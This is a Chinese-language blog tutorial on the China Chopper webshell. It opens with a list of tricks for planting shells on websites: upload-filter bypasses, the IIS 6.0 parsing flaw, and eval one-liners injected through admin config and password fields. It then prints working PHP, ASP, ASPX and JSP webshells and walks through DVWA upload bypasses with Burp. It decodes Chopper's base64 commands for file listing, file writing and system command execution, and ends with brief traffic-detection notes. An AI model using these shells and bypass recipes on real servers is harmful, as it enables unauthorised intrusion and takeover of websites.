• 中国菜刀原理与实践


    一、拿Shell技巧

    1.直接上传asp asa jsp cer php aspx htr cdx 格式的木马,不行就加个空格或是利用IIS6.0解析漏洞,常见格式:1.asp;1.jpg 或 1.asp;.jpg 或 1.asp;jpg

    2.有时上传图片格式的木马,居然被程序检测拦截了,右键记事本打开木马,在代码最前面加上gif89a,再数据库备份备份成asp格式的木马拿下shell。

    3.上传图片格式木马,复制地址到数据库备份备份成asp格式木马,有时不成功的话,就利用IIs6.0解析漏洞,格式:1.asp; 或 1.asp;jpg

    4.上传图片格式木马,用抓包工具进行抓包,抓到的信息里面包含了上传路径以及cookie值,再利用明小子的综合上传功能上传asp木马即可拿下shell。

    5.当后台有数据库备份,但是没有任何上传点的时候,把一句话木马插在任意处,再到数据库备份备份成asp格式木马,用菜刀连接一句话木马即可。

    6.当后台存在网站配置,可以在里面增加任意图片格式,例如:asp 这时就可以上传asp格式的木马了,有时不成功的话,就增加一个:aaspsp 即可绕过。 

    7.当页面提示“上传格式不正确[重新上传]”,说明存在上传漏洞,复制地址放到明小子里上传,一般都能成功拿下shell。

    8.当数据库备份功能用不了时,如果有数据库恢复的话,可以当作数据库备份一样使用,两者之间的功能以及效果是一样的。

    9.一般PHP后台都有可增加目录功能,直接建立个目录,名称写1.asp,内容写脚本木马的代码,保存后访问地址即可拿下shell。

    10.有些网站前台存在“会员注册”,尝试注册一个账户进去找上传点,直接上传asp或解析漏洞,不行就抓包明小子上传,再者就是尝试一句话木马。

    11.当后台存在网站配置,在里面插入变异的一句话木马:"%><%eval request("x")%><%s="访问路径:inc/config.asp

    12.当页面提示只能上传jpg|gif|png等格式的时候,右键查看源文件,本地修改为asp|asa|php再上传即可突破拿下shell。

    13.登陆后台,点击修改密码---新密码设置为:1":eval request("h")’设置成功后,访问asp/config.asp文件即可,一句话木马被写入到这个文件里面了.

    14.当用啊D检测注入点,提示SA权限或DB权限的时候,尝试列目录,然后找到网站根目录复制,再点击cmd/上传,直接上传asp脚本木马,不行就用差异备份拿shell。

    15.在新闻发布、版权信息、留言管理处插入数据库加密的一句话:┼攠數畣整爠煥敵瑳∨≡┩愾,访问路径inc/config.asp,菜刀连接密码:a

    16.一般后台都存在ewebeditor编辑器,只要找出绝对路径登录进去,可以在样式管理中增加asa|aasasa 再点击预览进行上传脚本木马即可。

    18.用火狐浏览器登录后台,再打开双文件上传工具替换上传路径,这时直接将其拖入火狐浏览器里,第一个选jpg图片,第二个选cer木马,上传即可突破!

    二、WebShell原理

    1. 一句话木马
    php:

    php的eval()函数:eval($str)函数是把$str当做PHP代码执行。

    1. echo shell_exec($_GET['cmd']);?>​​​​​​​
    2. $a = 233;
    3. $str = "echo $a;";
    4. eval($str);
    5. ?>
    6. 输出结果:233

    asp:

    <%execute(request("value"))%>

    aspx:

    1. <%@ Page Language="Jscript"%>
    2. <%eval(Request.Item["value"])%>

    jsp:

    无回显执行系统命令:

    <%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

    请求:http://192.168.16.240:8080/Shell/cmd2.jsp?cmd=ls

    执行之后不会有任何回显,用来反弹个shell很方便。

    有回显带密码验证的:

    1. <%
    2. if("123".equals(request.getParameter("pwd"))){
    3. java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    4. int a = -1;
    5. byte[] b = new byte[2048];
    6. out.print("
      ");
    7. while((a=in.read(b))!=-1){
    8. out.println(new String(b));
    9. }
    10. out.print("
    ");
  • }
  • %>
  • 请求:http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=123&cmd=ls /
    2. 一句话木马利用
    php:
    asp:<% eval request("kxc") %> 或 <%execute(request("kxc"))%>
    asxp:<%@ Page Lanuage="Jscript"%><%eval(Request.Item["kxc"])%>
    3. 菜刀拿shell原理:小马上传大马
    菜刀通过kxc(即上述参数)进行http请求,用经过base64编码的php(asp,aspx)代码来执行命令。

    4. 菜刀的使用
    上传好一句话木马。打开菜刀,点击右键添加:

    将一句话木马的url填写,在连接后面text框写一句话木马的参数,在配置里选好语言类型,点击添加。

    添加后可以看到有新加的一行,右击选择相应的操作。

    三、上传WebShell

    通过Burp Suite绕过前端验证文件格式,通过修改数据包通过后端检验。

    安全级别Low

    前后端没有任何验证

    安全级别Medium

    仅前端判断文件后缀名,禁止上传危险的文件类型,如jsp jar war等。所以就需要绕过过滤检测

    我们这里用的方法是先将一句话木马重命名改成jpg格式,试了下jpg图片可上传。

    当前端提示不能发送非jpg、png格式时,Burp Suite配置好Proxy -》 Options,并在Proxy-》Intercept-》Intercept is on,浏览器设置代理为Options中的配置

    首先把shell.php后缀改为jpg,然后提交,在filename中把文件shell.jpg后缀改为shell.php

    开启bp抓包,设置好代理后开始拦截。bp拦截开启后,回到网页,提交刚才改好的jpg文件,然后我们就可以看到成功拦截到包。

    上图可看到我们的包已经拦截下来。然后我们将jpg后缀改回php后缀,让一句话木马变回可执行的。

     

     记得点击放包,我们就成功绕过了格式过滤。

    打开蚁剑或者中国菜刀进行连接,连接成功后便完成了,此时便可以对该机文件进行增删改。

    (蚁剑和菜刀输入的网址不是原网页网址,而是一句话木马保存路径的地址。如果找不到,可以在bp的抓包页面找)

    最后,我们连接成功后便可对其文件进行查看或者其他操作,例如增删改等等。这里我们就可以得到我们想要的key了。 

    安全级别High

    准备一个图片和shell.php脚本,windows下运行

    copy 1.png/b+shell.php/a shell.png

    将图片上传后,使用中国菜刀连接(中国菜刀可以把图片当成php执行) 

    这里以php的  为例子

    访问一句话木马文件(要知道上传的文件目录)

    http://127.0.0.1/dvwa/hackable/uploads/shell.php?cmd=ls

    php中的cmd是参数

    可以看到cmd参数为ls是直接查询当前目录下的文件,同样可以操作其他目录文件

    总之,一句话木马非常强大,但是也有使用条件:
    (1)木马上传成功,未被杀;
    (2)知道木马的路径在哪;
    (3)上传的木马能正常运行。 

    四、中国菜刀简介与使用

    中国菜刀(Chopper)是一款经典的网站管理工具,具有文件管理、数据库管理、虚拟终端等功能。

    服务端

     eval($_POST["Sp4ar"]);?>

    其中‍Sp4ar是连接密码,可以随意更改。也可对服务端做一些混淆操作。

    配置

    1. <T>类型T> 类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种
    2. <H>主机地址<H> 主机地址可为机器名或IP地址,如localhost
    3. <U>数据库用户U> 连接数据库的用户名,如root
    4. <P>数据库密码P> 连接数据库的密码,如123456
    5. <L>编码类型L> utf8,gbk等数据编码类型
    6. ASP和ASP.NET脚本:
    7. <T>类型T> 类型只能填ADO
    8. <C>ADO配置信息C>
    9. ADO连接各种数据库的方式不一样。如MSSQL的配置信息为
    10. Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=123456
    11. 在设置好配置之后可以对网站数据库,文件等进行管理。

    在设置好配置之后可以对网站数据库,文件等进行管理。

     ​​​​​​​​​​​​​​​

    通信流量

    1. POST /u.php HTTP/1.1
    2. X-Forwarded-For: 1*.***.*.***
    3. Referer: http://1*.***.*.***
    4. Content-Type: application/x-www-form-urlencoded
    5. User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
    6. Host: 1*.***.*.***
    7. Content-Length: 690
    8. Connection: Close
    9. Cache-Control: no-cache
    10. Cookie: PHPSESSID=m4mi07jn4u6cd3gmhdt97fmq55
    11. Sp4ar=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

    (1)请求侧

    从payload中可以看出,eval后面卡了一个%01的字符,这样的语法在高版本的php中无法执行,低版本抛出warning后正常执行。获取z0的值并进行base64解码之后传入eval执行,z0解码之后的内容为:

    @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

    (2)响应侧

    从请求侧的代码来看,执行结果会被包裹在->| |<-中,抓包查看:

    可以发现执行结果确实是在->||<-中。

    五、中国菜刀原理

    用了菜刀用了也有一段时间了,感觉挺神奇了,到底原理是什么呢?

    一句话木马的核心就是:

    以PHP eval() 函数为例,eval() 函数把字符串按照 PHP 代码来计算。

    该字符串必须是合法的 PHP 代码,且必须以分号结尾。

    如果没有在代码字符串中调用 return 语句,则返回 NULL。

    如果代码中存在解析错误,则 eval() 函数返回 false。

    1. eval(phpcode)
    2. print("hello PHP!");

    就从一个执行简单命令的这一点入手,抓包分析。这个中国菜刀发送的HTTP包的数据部分:

    op=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=

    这是服务器返回的HTTP数据包

    \357\273\277->|hello PHP!|<-

    可以看出,这里用了base64编码,为了防止特殊字符传输失败的异常。

    用base64解码工具解码:

    1. @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;print("hello PHP!");;echo("|<-");die();
    2. 1. 先用@ini_set("display_errors","0"); 临时关闭PHP的错误显示功能
    3. 2. @set_time_limit(0); 防止像dir、上传文件大马时超时
    4. 3. @set_magic_quotes_runtime(0);关 闭魔术引号,这东西在4.0以后就不怎么用了
    5. 4. echo("->|"); 没啥好说的
    6. 5. print("hello PHP!"); 输出字符串
    7. 6. die(); 人如其名

    其他的指令也是同一个道理了。

    eval会在执行完指令后将结果回显给当前这个HTTP连接。

    感觉自写脚本不是太好用,因为要自己手工写如PHP代码,对格式的要求比较严格,不然eval就执行失败,而客户端的好处就是把底层的代码逻辑都用UI封装好了,所以我们现在开始研究其他的功能。

    文件管理

    右键点击菜单的文件管理,记住一定要点击更新缓存才能抓到包,因为菜刀这个时候显示的是上一次的缓存,你要更新一下缓存它才会重新发送数据去获取最新的文件情况。

    可以看到菜刀只发了一句话(果然叫一句话)。

    [truncated] op=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=QzpcXGluZXRwdWJcXHd3d3Jvb3RcXA%3D%3D

    通过上面的实验我们知道,这一大段baseCode是好几条指令合在一起的,为了能看清功能,我们人工把它们分成几段来看,我们都知道base64的编码原理是把3个字符编码成4个字符,所以我们分段后的个数一定是4的倍数,根据这个原则能很快的将指令分开来。

    还有一点要特别注意,我一开始直接用php_decode对这段字符串解码时,显示的一直是乱码,想了很久也不知道怎么回事,后来看到网上说到base64编码的原理才焕然大悟。

    http://www.cnblogs.com/hongru/archive/2012/01/14/2321397.html

    原来是URL编码的问题,大概是这样的,因为现在web环境中URL中出现中文等特殊字符是很常见的现象了,这个时候浏览器会自动把这些特殊字符转换成相应的URL Code。而这些数据发送到服务器(apache)之后,服务器会自动先将数据中的URL Code转换会对应的ASCII(注意,就是转成ASCII,之后你要把她当成baseCode是你的事,对服务器来说这时候她就是一个ASCII码)。所以说,上面抓的数据包进行URL逆编码后为这样:

    QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=QzpcXGluZXRwdWJcXHd3d3Jvb3RcXA==

    用base64解码后:

    1. @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."
    2. ";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();&z1=C:\\inetpub\\wwwroot\\

    前面几条命令是说过的,我们重点看:

    1. $D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."
    2. ";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();&z1=C:\\inetpub\\wwwroot\\

    对代码进行一下整理:

    1. $D=base64_decode($_POST["z1"]);
    2. $F=@opendir($D);
    3. if($F==NULL)
    4. {
    5.     echo("ERROR:// Path Not Found Or No Permission!");
    6. }
    7. else
    8. {
    9.     $M=NULL;
    10.     $L=NULL;
    11.     while($N=@readdir($F))
    12.     {
    13.         $P=$D."/".$N;
    14.         $T=@date("Y-m-d H:i:s",@filemtime($P));
    15.         @$E=substr(base_convert(@fileperms($P),10,8),-4);
    16.         $R="\t".$T."\t".@filesize($P)."\t".$E." ";
    17.         if(@is_dir($P))
    18.             $M.=$N."/".$R;
    19.         else 
    20.             $L.=$N.$R;
    21.     }
    22.     echo $M.$L;
    23.     @closedir($F);
    24. };
    25. echo("|<-");
    26. die();

    opendir() 函数打开一个目录句柄,可由 closedir(),readdir() 和 rewinddir() 使用。

    若成功,则该函数返回一个目录流,否则返回 false 以及一个 error。可以通过在函数名前加上 "@" 来隐藏 error 的输出。

    readdir() 函数返回由 opendir() 打开的目录句柄中的条目。若成功,则该函数返回一个文件名,否则返回 false。

    fileperms() 函数返回文件或目录的权限。若成功,则返回文件的访问权限。若失败,则返回 false。

    base_convert() 函数在任意进制之间转换数字。语法为base_convert(number,frombase,tobase)

    filesize() 函数返回指定文件的大小。

    若成功,则返回文件大小的字节数。若失败,则返回 false 并生成一条 E_WARNING 级的错误。

    从代码可以清楚地看出,在接收z1=C:\\inetpub\\wwwroot\\这个参数后,代码打开指定目录的句柄,然后进行循环扫描,并附带上权限、时间、大小、日期这四个参数,用\t制表符拼在一起捆绑发送回客户端,这是一种很常见的做法,将所有的需要的参数用一个定界符分开然后捆绑发送,到客户端怎么做呢?根据我自己的C变成经验,一定是用string_split之类的函数分开来,再循环一一显示在UI上,如果想要深究可以用IDA和OD逆向分析一下。

    执行完这些代码之后,就完成了列目录的功能。

    上传文件

    接下来看看webshell最重要的功能,上传文件,这是进一步横向渗透到基础

    话不多说,我们先传一个图片上去

    这次抓包看到了是2组来回对话。基本心里有数了,好,我们先分析第一个包

    第一个HTTP包从鲨鱼中导出来是这样,做过web开发的都知道,当表单中加入属性enctype="multipart/form-data",传输方式为post的时候,我们上传的文件会被编码为base64然后(根据浏览器可能有压缩)和HTTP头一起构成一整个HTTP数据包发送给服务器端。也就说,后面的这大段数据都是我刚才上传的图片。我的感觉就是菜刀客户端是在模拟一个表单传文件的行为,模拟出一个文件上传的POST数据包,发往服务器,个人的理解,不知道对不对。

    为了验证这个观点,我们对数据的开始那部分进行解码:

    @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();

    整理一下代码:

    1. @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;
    2. $f=base64_decode($_POST["z1"]);
    3. $c=$_POST["z2"];
    4. $c=str_replace("\r","",$c);
    5. $c=str_replace("\n","",$c);
    6. $buf="";
    7. for($i=0;$i<strlen($c);$i+=2)
    8.     $buf.=urldecode("%".substr($c,$i,2));
    9. echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
    10. echo("|<-");
    11. die();
    12. &z1=C:\\inetpub\\wwwroot\\1.png

    &z2=.....................(后面跟的那一大段数据都是z2) 代码基本上来说最关键的就是那个fwrite,就是将我们指定的装满数据的缓冲区写入我们指定的一个路径中。只要apache用户在当前目录下有写权限,php调用win api的时候就能完成写操作。

    还记得之前说的文件上传客户端和服务器进行了两次交互,然后再看第二个数据包的内容。解码之:

    1. @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."
    2. ";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();

    不用再整理了,就是和之前的列目录是一样的,代码重用了一下,本质上就是刷新一下。这样就能立刻更新本地缓存,显示出刚才上传的文件。

    虚拟终端

    这个功能也是菜刀很逆天的一个功能,效果和我们进行溢出攻击后获得的cmd shell一样,感觉很神奇,接下来探究一下它实现的原理。

    还是老方法,先运行一个dir命令,然后抓包分析之。 

    解码之:

    1. @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c '{$s}'":"/c {$s}";$r="{$p} {$c}";@system($r." 2>&1");;echo("|<-");die();
    2. &z1=cmd
    3. &z2=cd /d "C:\wamp\www\"&dir&echo [S]&cd&echo [E]

    整理一下代码:

    1. @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;
    2. $p=base64_decode($_POST["z1"]);
    3. $s=base64_decode($_POST["z2"]);
    4. $d=dirname($_SERVER["SCRIPT_FILENAME"]);
    5. $c=substr($d,0,1)=="/"?"-c '{$s}'":"/c {$s}";
    6. $r="{$p} {$c}";
    7. @system($r." 2>&1");;
    8. echo("|<-");
    9. die();
    10. &z1=cmd
    11. &z2=cd /d "C:\wamp\www\"&dir&echo [S]&cd&echo [E]

    dirname() 函数返回路径中的目录部分。

    $_SERVER["SCRIPT_FILENAME"]:

    当前执行脚本的绝对路径。

    如果在命令行界面(Command Line Interface, CLI)使用相对路径执行脚本,例如 file.php 或 ../file.php,那么 $_SERVER['SCRIPT_FILENAME'] 将包含用户指定的相对路径。

    1. substr() 函数返回字符串的一部分
    2. substr(string,start,length)
    3. string system(string command, int [return_var]);

    本函数就像是 C 语中的函数 system(),用来执行指令,并输出结果。若是 return_var 参数存在,则执行 command 之后的状态会填入 return_var 中。同样值得注意的是若需要处理用户输入的资料,而又要防止用户耍花招破解系统,则可以使用 EscapeShellCmd()。若 PHP 以模块式的执行,本函数会在每一行输出后自动更新 Web 服务器的输出缓冲暂存区。若需要完整的返回字符串,且不想经过不必要的其它中间的输出界面,可以使用 PassThru()。

    如果return_val存在的话,那么执行的结果信息将被写入return_val中,@system($r." 2>&1");;我们都知道在C语言中,2代表错误输出流的意思,PHP是用C写的,当然也继承了这个特性,那这个意思就是执行系统命令,并屏蔽错误显示。

    $c=substr($d,0,1)=="/"?"-c '{$s}'":"/c {$s}";

    这是一段正则表达式,用捕获分组获得字符串中的参数,这里也就是

     cd /d "C:\wamp\www\、 dir、 echo、 cd、 echo。

    注意上面system函数的声明:若 PHP 以模块式的执行,本函数会在每一行输出后自动更新 Web 服务器的输出缓冲暂存区。

    这就是说,我们指定的这个命令会分别执行,然后输出结果。

    六、中国菜刀流量检测

    1. 文件检测:

    通过静态文件的方式进行WebShell查杀。

    2. 流量检测:

    通过检测通信中的eval,base64_decode等关键字。

  • 相关阅读:
    若依中脱敏
    《React扩展知识一》setState更新状态2种写法/ lazyLoad / Fragment / Context / Hooks
    systemVerilog验证中的program块
    whois信息收集&企业备案信息
    Python爬虫:ad广告引擎的模拟登录
    构建离线应用:Apollo与本地状态管理
    简单实用的模糊照片修复方法,小白也能轻松上手
    C语言练习百题之排序算法
    Java虚拟机(JVM)的调优技巧和实战2
    抓住晨会驱动【目标管理】
  • 原文地址:https://blog.csdn.net/qq_35029061/article/details/126133687